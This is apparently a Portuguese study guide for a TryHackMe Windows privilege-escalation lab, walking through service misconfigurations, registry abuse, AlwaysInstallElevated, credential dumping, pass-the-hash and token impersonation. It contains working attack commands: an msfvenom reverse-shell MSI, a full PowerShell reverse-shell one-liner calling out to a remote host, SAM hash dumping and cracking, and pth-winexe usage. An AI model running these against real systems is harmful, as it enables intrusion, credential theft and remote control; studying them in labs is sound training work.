Escalação de Privilégios no Windows

A sala recomendada é https://tryhackme.com/room/windows10privesc, mas você pode usar o que preferir.
Alguns recursos,

Tipos de contas em máquinas Windows:

Administrator (local): É o usuário com mais privilégios.
Standard (local): Esses usuários podem acessar o computador, mas só podem executar tarefas limitadas. Normalmente, esses usuários não podem fazer alterações permanentes ou essenciais no sistema.
Guest: Essa conta dá acesso ao sistema, mas não é definida como um usuário.
Standard (domínio): O Active Directory permite que as organizações gerenciem contas de usuários. Uma conta de domínio padrão pode ter privilégios de administrador local.
Administrator (domínio): Pode ser considerado como o usuário com mais privilégios. Ele pode editar, criar e excluir outros usuários em todo o domínio da organização.
SYSTEM : Não é exatamente uma conta, mas os serviços do Windows utilizam essa conta para realizar suas tarefas; inclusive, essa conta possui privilégios ainda maiores.

Um ponto importante a destacar são os Grupos: qualquer usuário do grupo Administrator nos ajuda a escalar!

Coleta de Informações:

Um dos melhores recursos: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

whoami /priv - privilégios do usuário atual
net users - lista todos os usuários
net user <username> - lista detalhes de um usuário específico
qwinsta - Outros usuários conectados simultaneamente
net localgroup - Grupos disponíveis no sistema
net localgroup <group-name> - lista membros de um grupo específico
systeminfo - fornece todas as informações sobre o SO
hostname - nome do host do sistema
findstr /si password *.txt - estamos procurando arquivos que contenham 'password', especialmente em arquivos de texto
wmic qfe get Caption,Description,HotFixID,InstalledOn - informa sobre os patches de segurança e informações relacionadas
netstat -ano - conexões associadas à máquina
- para verificar se há tarefas agendadas

Windows Exploit Suggester:

É uma ferramenta lendária que a maioria das pessoas usa
Podemos resolver 60% das máquinas (boxes) na internet usando essa ferramenta
Link: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Basta ter uma cópia da saída do comando systeminfo em sua máquina; esse é o único requisito para essa ferramenta
Dica profissional: garanta que todas as dependências sejam atendidas!

Software Vulnerável:

Aqui vamos tentar identificar a versão do software instalado e verificar se ele é vulnerável ou não
wmic product get name,version,vendor - isso fornece o nome do produto, a versão e o fabricante (vendor). Esse comando em particular dá uma visualização adequada do que precisamos.
Às vezes, o comando acima pode não funcionar; nesse caso, use wmic service list brief | findstr "Running" e, para obter mais informações sobre o serviço, use sc qc <ServiceName>

Escalação de Privilégios com Metasploit:

Depois de obter uma sessão no Metasploit, execute um módulo chamado post/multi/recon/local_exploit_suggester; garanta que sua sessão esteja em segundo plano para que essa ferramenta funcione corretamente, ou você pode simplesmente carregá-la a partir do meterpreter.
Em seguida, ele sugerirá alguns módulos que podem ser explorados; tente-os e alguns podem funcionar (opcional).

WinPEAS:

É um script automatizado de enumeração bastante útil.
Para melhor uso, verifique todas as opções executando winpeas.exe --help
Execute apenas as opções necessárias e ajuste a saída.

Exploração de Kernel:

Use esta ferramenta específica chamada Windows Exploit Suggester
Primeiro, obtenha as informações do sistema executando o comando systeminfo e copie-as para um arquivo com extensão .txt
Agora execute a ferramenta usando o banco de dados
Aqui, procure por exploits relacionados ao kernel.
Bom hacking!!

Exploração de Serviços:

Permissões inseguras de serviços:

Aqui vamos tentar identificar serviços com permissões inseguras e, então, podemos tentar explorá-los.
Aqui podemos utilizar o comando winpeas.exe servicesinfo e ver os serviços que são bastante úteis
Uma parte interessante da saída é assim,```

daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig

- Mas para obter mais informações, podemos usar uma ferramenta chamada **accesschk**, que é da Microsoft, executando-a da seguinte forma `accesschk.exe /accepteula -uwcqv <current-user> <service>`, a saída é,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

Mas a parte principal é service_change_config, onde podemos alterar a configuração do serviço.
Execute sc qc <service> e depois anote o Binary_path_name (que também pode ser chamado de binpath), que vamos alterar (sorriso maligno)
Agora crie um payload do tipo shell e transfira-o para a máquina alvo
Sintaxe para alterar a configuração: sc config <service> <option>="<value>"
Agora execute sc config daclsvc binpath="<path>" e inicie o serviço sc start daclsvc

Caminho de serviço sem aspas:(USP)

Para serviços, o caminho precisa estar entre aspas; se não estiver assim, podemos explorar essa brecha e obter privilégios elevados.``` Vulnerability Insight: The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe

- Para obter mais informações, basta usar o script **WinPEAS** com a opção `servicesinfo`, aqui podemos ver se é possível explorar algum **Unquoted Service Path**, Aqui executei a ferramenta e a parte interessante da saída é assim,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected

A saída aqui especifica claramente que Nenhuma aspas e espaço detectado, portanto podemos concluir que podemos explorar este serviço específico usando USP
E para obter mais informações sobre o serviço, use sc qc <service>
Agora vamos verificar a permissão para este local específico C:\Program Files\Unquoted Path Service usando accesschk, então execute accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service". Saída:``` accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" C:\Program Files\Unquoted Path Service Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Users RW NT SERVICE\TrustedInstaller RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators

- Temos permissão de leitura e escrita.
- Agora vamos criar um payload e colá-lo em `C:\Program Files\Unquoted Path Service`, através de `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`, aqui estou nomeando com um nome diferente, o que também traz alguma vantagem com a ordem alfabética.
- Agora inicie o serviço, `sc start unquotedsvc`, somos admin!!!

-----------------------
### Permissões Fracas de Registro:
- Aqui vamos tentar explorar serviços com permissões fracas de registro.
- Para procurar, precisamos usar `Winpeas` com a opção `servicesinfo`. A saída parece semelhante a isto```
����������͹ Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions                                                                                          
    HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])

Agora vamos ao nome do serviço, que é regsvc, então vamos nos aprofundar neste serviço, então execute sc qc regsvc e a saída é,``` sc qc regsvc [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem

- Um fato interessante é que o caminho está entre aspas, então não há **Unquoted Service Path**.
- Agora vamos executar `accesschk.exe` e cavar fundo, então execute `accesschk /acceptula -uvwqk <path of registry>`(que é `HKLM\system\currentcontrolset\services\regsvc`)
- procure por `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` na saída e estamos prontos para explorar.
- Agora vamos ver as opções dentro do registro usando `reg query HKLM\system\currentcontrolset\services\regsvc` e encontrei uma opção chamada `ImagePath` que aceita um valor executável, então vamos explorá-la. Primeiro de tudo, crie uma reverse-shell.
- Agora execute `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`, escolha o caminho do payload de acordo com a sua necessidade.
- Agora execute o serviço, `net start regsvc` e viva! Consegui o shell.

-----------------------
### Executáveis de Serviços Inseguros:
- Aqui, as permissões de arquivo de um serviço são acessíveis a todos! Tentamos alterar o executável do serviço e estamos prontos para prosseguir!
- Vamos executar o **Winpeas** especificamente com o módulo **servicesinfo** e vamos ver algo interessante, e a saída é,```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
    File Permissions: Everyone [AllAccess]

Todos têm acesso ao arquivo do serviço filepermsvc, então criaremos um payload reverse_shell e o substituiremos pelo executável do serviço, obtendo assim uma shell.
Isso é relativamente fácil comparado ao anterior.

Registry

Aqui usamos o Registry para descobrir informações e tentaremos explorar!
Estamos apenas verificando os recursos que podemos abusar

Autoruns:

Autoruns é um recurso do Windows para iniciar alguns serviços ou aplicativos durante a inicialização, por exemplo "greenshot"
Podemos verificá-los manualmente executando reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - isso exibirá os programas de inicialização automática e seus caminhos.
A saída é,``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SecurityHealth REG_EXPAND_SZ %windir%\system32\SecurityHealthSystray.exe My Program REG_SZ "C:\Program Files\Autorun Program\program.exe"

- Temos 2 programas com caminho, então vamos testar.
- Agora vamos executar o **accesscheck** para verificar quais permissões estão disponíveis para o caminho do arquivo desses autoruns.
- Basta executar `accesschk.exe \accepteula -wvu "<path>"`. Eu executei isso para o caminho do autorun de **My Program** e a saída indicou `FILE_ALL_ACCESS`, então podemos literalmente fazer qualquer coisa nesta pasta. Principalmente, podemos substituir o executável original, reiniciar o sistema e obter o shell.
- Agora precisamos esperar até o login do administrador e obteremos o shell como usuário privilegiado!
- O detalhe aqui é que precisamos esperar até o login do admin/proprietário; caso contrário, estamos prontos!

-------------------------------
### AlwaysInstallElevated
- Ela permite que o usuário padrão instale **msi** (Microsoft Installer) com privilégios administrativos.
- Isso é legal e fácil para obter privilégios mais altos.
- Podemos verificar isso executando,
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` e
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- Execute ambos os comandos e o valor para **AlwaysInstallElevated** deve ser 1 ou 0x1. Assim podemos confirmar e prosseguir.
- Agora crie um reverse-shell no formato **msi**; para referência, verifique o comando abaixo,
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- Agora transfira isso para a máquina Windows e execute o comando,
`msiexec /quiet /qn /i reverse.msi`
- Viva! Obtivemos o shell como `nt authority\system`

------------------
-------------------
## Senhas:
- Aqui procuramos credenciais no registro, arquivos, etc.
- E tentaremos fazer login!

----------------------
### Procurando por senhas no Registro:
- Podemos pesquisar no registro por senhas; às vezes podemos encontrar senhas de outros usuários ou até mesmo a senha do proprietário.
- Execute `reg query HKLM /f password /t REG_SZ /s`; isso fornece todos os detalhes no registro que contêm a string **password**. Pesquise e talvez você a encontre! Mas a parte triste é que não consegui obter nenhuma!
- Execute também `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`, podemos encontrar algumas informações.
- Também podemos usar nossa lendária ferramenta **winPEAS** executada com algumas opções como `windowscreds` — procura por credenciais; também `filesinfo` — analisa arquivos e o registro em busca de dados úteis (às vezes também senhas).
- Após obter a senha, aqui é `password123`, então agora vamos fazer login com a ajuda do **psexec** (link: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) e a sintaxe é `python3 psexec.py [email protected]`; em seguida, ele solicitará a senha, informe-a e obteremos acesso como admin!

-------------------------
### Senhas : Savedcreds
- Primeiramente, execute `cmdkey /list`; aqui, **cmdkey** é um aplicativo do Windows Server que *Cria, lista e exclui nomes de usuário e senhas ou credenciais armazenados*. Ao executar isso, podemos ver todas as credenciais de usuários salvas!
- A saída é,```
Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic 
    User: 02nfpgrklkitqatu
    Local machine persistence
    
    Target: Domain:interactive=WIN-QBA94KB3IOF\admin
    Type: Domain Password
    User: WIN-QBA94KB3IOF\admin

Podemos ver o usuário admin, então vamos usar o utilitário runas. Ele permite que um usuário execute ferramentas e programas específicos com permissões diferentes das fornecidas pelo logon atual do usuário.
vamos executar runas /savecred /user:admin C:\Temp\reverse.exe, isso nos dará os privilégios de administrador

Senhas: SAM(Security Accounts manager)

O SAM consiste em hashes NTLM de senhas do Windows; temos a chance de quebrá-los, mas isso pode nem sempre ser útil porque estamos lidando com hashes!
Mas conhecer o método definitivamente ajuda.
E 99% das vezes o arquivo SAM não pode ser acessado com privilégios normais, mas aqui na máquina o autor criou uma cópia do arquivo SAM no diretório C:\Windows\Repair, para que possamos brincar! Aqui nesse diretório existem 2 arquivos, chamados SAM e SYSTEM
Precisamos obter os dois arquivos para que possamos usar com uma ferramenta chamada creddump7(https://github.com/CiscoCXSecurity/creddump7). Eu os obtive com a ajuda do comando download do meterpreter
Agora, após clonar, execute o seguinte comando python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM, ele exibirá os hashes dos usuários disponíveis na máquina Windows. A saída é,``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2::: user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a::: admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::

- Agora salve o conteúdo acima em um arquivo de texto e agora quebre-o com a ajuda do **JohnTheRipper**, a sintaxe é `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`, e ele foi quebrado!```
password123      (admin)     
password321      (user)     
Passw0rd!        (Administrator)

Senha: Ataque Pass the hash

Vamos supor que não somos capazes de quebrar o hash, pois ele não está na wordlist; então podemos usar este ataque Pass the hash, que nos permite autenticar com a ajuda do hash!
Então obtenha o hash; aqui vamos fazer login como admin, cujo hash é a9fdfa038c4b75ebc76dc855dd74f0da
Primeiro exporte, export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da aqui estamos usando o hash com o groupid também
Em seguida, execute pth-winexe -U admin% //10.10.213.97 cmd.exe, eu obtive um shell como admin
A ferramenta pth-winexe já está disponível no kali.
Se travar, verifique isto: https://www.whitelist1.com/2017/10/pass-hash-pth-attack-with-pth-winexe.html

Explorando tarefas agendadas:

Assim como no Linux, também existem tarefas agendadas no Windows.
Para ver todas as tarefas agendadas, execute schtasks /query /fo LIST /V
Aqui, CleanUp.ps1 parece interessante e o caminho é C:\DevTools\CleanUp.ps1
Então, vamos ver o que podemos fazer nesta localização, bem como nesse arquivo, accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 e temos todas as permissões para ler, escrever...etc
O processo na descrição da tarefa é um pouco diferente, então procurei um powershell-reverseshell, que é,``` $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

- Então transferi e renomeei como `CleanUp.ps1` e consegui conexão.

--------------------
---------------------
## Aplicativos GUI inseguros:
- Depois de obter a conexão RDP, abra o `Taskmanager` e, na aba `Details`, podemos ver os aplicativos e o usuário que está executando cada um.
- Aqui eles configuraram intencionalmente o `mspaint.exe` para executar como admin, então esse será nosso alvo.
- Como estamos trabalhando com o **Paint**, teremos a opção de abrir arquivos, então abriremos `file://c:/windows/system32/cmd.exe` e boom! Conseguimos o shell como usuário **admin**!
- Aqui a funcionalidade é um pouco limitada, porque nem sempre teremos uma conexão RDP.

-----------------------
----------------------
## Aplicativos de inicialização:
- O Windows tem um recurso que permite que alguns aplicativos sejam executados na inicialização; podemos abusar desse recurso.
- Os aplicativos de inicialização ficam em `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`, que é o caminho padrão.
- Vamos verificar o que podemos fazer com o **accesschk.exe**, então execute `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`. A saída é,```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW WIN-QBA94KB3IOF\Administrator
  RW WIN-QBA94KB3IOF\admin
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  Everyone

Aqui existe um script chamado CreateShortcut.vbs que executa com privilégios de administrador e o principal objetivo deste é criar um atalho para o reverse-shell que carregamos. Transfira o payload e execute o script; agora precisamos esperar até que o administrador faça login e então obteremos o shell. Isso é raro e a chance de explorar por meio disso é menor.

Impersonação de Token:

Tokens são como cookies para o computador; o benefício é que não precisamos mencionar credenciais toda vez para nos conectar a qualquer rede...etc.
Existem 2 tipos de tokens,

Delegate token: criado para fazer login em uma máquina ou usar RDP
Impersonate token: Não interativo, usado para anexar unidade de rede ou script de logon de domínio.

Podemos ver todos os tokens executando list_tokens -u, também na sessão do meterpreter; depois de encontrar algum token interessante, execute impersonate_token <name of token>
Também podemos executar whomai /priv e podemos ver os privilégios do usuário atual; se encontrarmos algum privilégio como SeAssignPrimaryToken...etc, que são meio perigosos, isso é muito perigoso! Para saber mais sobre esses privilégios e como explorá-los, consulte este artigo: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges

Ataques de Batata:

O guia para esses ataques é: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
E o payload que podemos usar é: https://github.com/ohpe/juicy-potato
Aqui tentamos obter acesso como NT Authority/System [Ainda em andamento.....]

Mais Populares

Windows-Privilege-Escalation-Notes